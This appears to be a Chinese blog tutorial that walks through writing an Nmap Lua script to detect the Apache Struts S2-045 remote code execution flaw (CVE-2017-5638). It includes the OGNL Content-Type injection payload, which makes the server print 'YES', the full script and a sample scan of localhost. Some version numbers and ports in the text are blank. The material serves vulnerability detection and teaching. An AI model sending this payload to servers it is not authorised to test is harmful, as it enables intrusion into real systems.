Web安全学习笔记之Nmap脚本编写
0x00 Nmap脚本简介
夜无眠,看了一下Nmap官方的英文API文档(全是English),瞬间心态崩塌,不想吐槽它们的nmap官网前端太丑了=。=,但是都是大牛啊,挺敬佩开源开发者的。
Nmap最灵活的就是它的scripts了,在渗透测试中我们经常会用它来扫描服务、漏洞,而且很多脚本也可以用于漏洞利用,总之就是很强大啦~ 具体的介绍在这里:Nmap脚本使用指南
看过《Nmap渗透指南》一书,发现书中对于Nmap脚本的编写是轻描淡写,所以本文就利用一个漏洞实例给大家详细说说这个脚本如何开发的。PS:并没有说这本书不好,其实很好很好的。
0x01 实战编写前的思路
今天我用“Struts S2-045”这个漏洞来编写一个漏洞检测脚本。
PS:此文需要一点Lua语言基础。我也就看了个半调子 ,才写的这个文章,Lua大牛误喷。
思路: 它主要是给服务器端发送一个http请求,这个请求里的Content-type中就是我们的利用代码了。在这里可以称之为Payload。
相关链接:Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
我们先把Payload拿出来:
%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('YES')).(#o.close())}
可以看到有一个YES,当服务器端相应YES的时候,我们就判定这个服务器存在此漏洞。
根据官方的文档,我们先载入指定的扩展库:
--
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
这些基本用于发送HTTP请求、字符串操作、漏洞结果生成、错误调试
添加一个漏洞描述 :
description = [[
The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
]]
这里我给出了CNVD和CVE编号的详细地址。
使用结果,这块可有可无,因为都是注释起来的:
-- @usage
-- nmap -sV -p- --script struts2-s2- <target>
-- nmap -sV -p- --script struts2-s2- --script-args uri=/aa.action <target>
-- @output
-- PORT STATE SERVICE REASON
-- /tcp open http syn-ack
-- | struts:
-- | VULNERABLE:
-- | Struts S2-
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE--
-- | The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
-- |
-- | Disclosure date: --
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
-- | http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
添加作者:
author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}
这里我给出了我的邮箱、博客,当然只是个字符串,自己想写啥就写啥。但是你要在用户的角度考虑,参数以及说明尽量人性化。
0x02 第一个函数-前奏
portrule = function(host,port)
-- return port.protocol == "tcp" and port.number == and port.state == "open"
return true
end
这个函数主要用于“第一次检测”,算是一个规则。
portrule变量名不可改变,否则会解析错误。
当这个函数范围true的时候, 我们的漏洞检测函数才会被自动调用。
可以看到函数中有一行被注释了,这一行的意思是当前请求的协议是TCP并且端口号是8899并且是端口是打开状态,才会返回true。
如果当前函数返回false,那么漏洞检测函数就不会被调用,会继续下一个目标或端口的扫描。
当我们直接返回true,那么每个目标端口都会被传递给漏洞检测函数。
听我说了这么多,漏洞检测函数到底是什么?
0x03 第二个函数-高潮
action = function(host, port)
local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil
local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil
local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
local req = generate_http_req(host, port, uri,useragent,cookie,referer)
if string.match(req.body, 'YES') then
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Struts S2-045',
state = vulns.STATE.VULN,
description = [[
The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
]],
IDS = {CVE = 'CVE-2017-5638'},
references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
},
dates = {
disclosure = {year = '', month = '', day = ''},
}
}
stdnse.debug1("There is a vulnerability in the current host")
vuln.state = vulns.STATE.EXPLOIT
return vuln_report:make_output(vuln)
end
end
第二个函数就是action啦~
stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil
stdnse用于处理用户的输入,这里调用了get_script_args用来接收用户输入的useragent参数值。
接下来我调用了一个自定义函数:
function generate_http_req(host, port, uri, useragent,cookie,referer)
local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'
local options = {header={}}
options["no_cache"] = true
options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'
options["header"]["Referer"] = referer or 'NULL'
options["cookies"] = cookie or 'NULL'
options["header"]["Content-Type"] = payload
stdnse.debug1("Start scanning the vulnerability")
local req = http.get(host, port, uri, options)
return req
end
这里面有我们的Payload,然后装填User-Agent、Referer、Cookies、Content-Type、uri地址。
stdnse.debug1()这个函数用于输出调试信息,如果你要查看调试信息,那就在扫描的时候带上-d参数
最后我们用了http库中的get方法,发送了一个请求,返回一个结果对象。
是不是和Python差不多呢? :)
获取了结果对象我们就可以进行内容匹配了,如果在内容中寻找到我们的“YES”,那么就存在漏洞。
if string.match(req.body, 'YES') then
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Struts S2-045',
state = vulns.STATE.VULN,
description = [[
The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
]],
IDS = {CVE = 'CVE-2017-5638'},
references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
},
dates = {
disclosure = {year = '', month = '', day = ''},
}
}
stdnse.debug1("There is a vulnerability in the current host")
vuln.state = vulns.STATE.EXPLOIT
return vuln_report:make_output(vuln)
end
这块就是做了一个字符串匹配,难点在于产生漏洞结果。
local vuln = {
title = 'Struts S2-045',
state = vulns.STATE.VULN,}
这个vuln的state属性就用来标识是否存在漏洞的。
如果存在漏洞,就赋值vulns.STATE.VULN,如果不存在,就赋值vulns.STATE.NOT_VULN
0x04 总结
具体可以多看看那些漏洞利用脚本,因为官方文档真的是不够全面,需要比较深的Lua功底才可以玩的666。
下面贴出完整代码:
--
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns" description = [[
The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
]] -- @usage
-- nmap -sV -p- --script struts2-s2- <target>
-- nmap -sV -p- --script struts2-s2- --script-args uri=/aa.action <target>
-- @output
-- PORT STATE SERVICE REASON
-- /tcp open http syn-ack
-- | struts:
-- | VULNERABLE:
-- | Struts S2-
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE--
-- | The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
-- |
-- | Disclosure date: --
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
-- | http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
--
---
author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
-- categories = {"exploit","vuln","intrusive"}
-- portrule = shortport.http
portrule = function(host,port)
-- return port.protocol == "tcp" and port.number == and port.state == "open"
return true
end
function generate_http_req(host, port, uri, useragent,cookie,referer)
local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'
local options = {header={}}
options["no_cache"] = true
options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'
options["header"]["Referer"] = referer or 'NULL'
options["cookies"] = cookie or 'NULL'
options["header"]["Content-Type"] = payload
stdnse.debug1("Start scanning the vulnerability")
local req = http.get(host, port, uri, options)
return req
end
action = function(host, port)
local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil
local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil
local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
local req = generate_http_req(host, port, uri,useragent,cookie,referer)
if string.match(req.body, 'YES') then
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Struts S2-045',
state = vulns.STATE.VULN,
description = [[
The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
]],
IDS = {CVE = 'CVE-2017-5638'},
references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
},
dates = {
disclosure = {year = '', month = '', day = ''},
}
}
stdnse.debug1("There is a vulnerability in the current host")
vuln.state = vulns.STATE.EXPLOIT
return vuln_report:make_output(vuln)
end
end
在portrule 绑定的规则中可以自定义扫描规则来决定是否进行扫描
下面我们开启debug模式看看扫描结果:
nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1 -d
关闭调试模式的扫描结果:
liyingzhe : /usr/share/nmap $nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1 Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-03 03:09 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (.000051s latency).
Not shown: closed ports
PORT STATE SERVICE
/tcp open http
/tcp open ipp
/tcp open socks
|_struts: ERROR: Script execution failed (use -d to debug)
/tcp open mysql
|_struts: ERROR: Script execution failed (use -d to debug)
/tcp open ospf-lite
| struts:
| VULNERABLE:
| Struts S2-
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE--
| The Jakarta Multipart parser in Apache Struts 2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .
|
| Disclosure date: --
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
| http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
|_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 Nmap done: IP address ( host up) scanned in 7.20 seconds
liyingzhe : /usr/share/nmap $
参考
Web安全学习笔记之Nmap脚本编写的更多相关文章
- Web安全学习笔记之Nmap脚本使用指南
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端.确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统.它是网络管理员必用的软件之一,以及用以评估网络系统安全. —— 来自百 ...
- Web安全学习笔记之Nmap命令参考指南
最近研究Nmap,命令太多,详细还是需要参考官方文档(可选中文) 本文转载 在网络技术中,端口(Port)包括逻辑端口和物理端口两种类型.物理端口指的是物理存在的端口,如ADSL Modem.集线器. ...
- Web安全学习笔记之Nmap扫描原理与用法
1 Nmap介绍 Nmap扫描原理与用法PDF:下载地址 Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具.软件名字N ...
- 【前端】Web前端学习笔记【1】
... [2015.12.02-2016.02.22]期间的学习笔记. 相关博客: Web前端学习笔记[2] 1. JS中的: (1)continue 语句 (带有或不带标签引用)只能用在循环中. ( ...
- Java web与web gis学习笔记(二)——百度地图API调用
系列链接: Java web与web gis学习笔记(一)--Tomcat环境搭建 Java web与web gis学习笔记(二)--百度地图API调用 JavaWeb和WebGIS学习笔记(三)-- ...
- Web安全学习笔记 SQL注入中
Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- 【前端】移动端Web开发学习笔记【2】 & flex布局
上一篇:移动端Web开发学习笔记[1] meta标签 width设置的是layout viewport 的宽度 initial-scale=1.0 自带 width=device-width 最佳实践 ...
- 【前端】移动端Web开发学习笔记【1】
下一篇:移动端Web开发学习笔记[2] Part 1: 两篇重要的博客 有两篇翻译过来的博客值得一看: 两个viewport的故事(第一部分) 两个viewport的故事(第二部分) 这两篇博客探讨了 ...
随机推荐
- JZOJ.5306【NOIP2017模拟8.18】棋盘游戏
Description 这个游戏上在一个无限大的棋盘上, 棋盘上只有一颗棋子在位置(x,y)(x,y>=0)棋盘的左下角是(0,0)Amphetamine每次都是第一个移动棋子,然后Amphet ...
- Django学习笔记第六篇--实战练习二--简易实现登录注册功能demo
一.绪论: 简易实现登录功能demo,并没有使用默认身份验证模块,所以做的也很差,关闭了csrf保护,没有认证处理cookie和session,只是简单实现了功能.另外所谓的验证码功能是伪的. 二. ...
- 【BZOJ4819】[Sdoi2017]新生舞会 01分数规划+费用流
[BZOJ4819][Sdoi2017]新生舞会 Description 学校组织了一次新生舞会,Cathy作为经验丰富的老学姐,负责为同学们安排舞伴.有n个男生和n个女生参加舞会 买一个男生和一个女 ...
- 转载 Mixed Content Page
网站配置了https之后,网页上的百度地图无法正常显示,报错类似于: Mixed Content: The page at 'https://url_1' was loaded over HTTPS, ...
- html 标签转译反转译
如果要在 html 标签内原样插入带 html 标签的文字,通常都会被自动解析掉,比如: document.getElementsByTagName('div')[0].innerHTML=" ...
- 管理源代码的工具SVN与GIT
如何看待源代码 源代码是公司的重要资产 对应软件公司来说,源代码相当于固定资产>人才 所以源代码管理对于公司来说是最重要的事物之一 一.管理源代码的工具 SVN:集中式的源代码管理工具,通常必须 ...
- Dynamic Programming: Fibonacci
Recently I watched an interesting video in youtube, the vbloger use calculating Fibonacci number to ...
- svn图标解释
- 已忽略版本控制的文件.可以通过Window → Preferences → Team → Ignored Resources.来忽略文件. A file ignored by version co ...
- Python面象对象与类
# -*- coding: utf-8 -*- # @Date: 2017-08-26 # @Original: from collections import namedtuple from col ...
- Python的一些教程(转)
原文:http://blog.chinaunix.net/uid-26200547-id-3418038.html Python 安装配置及基本语法篇 Python 语言速成 Python 基本知识 ...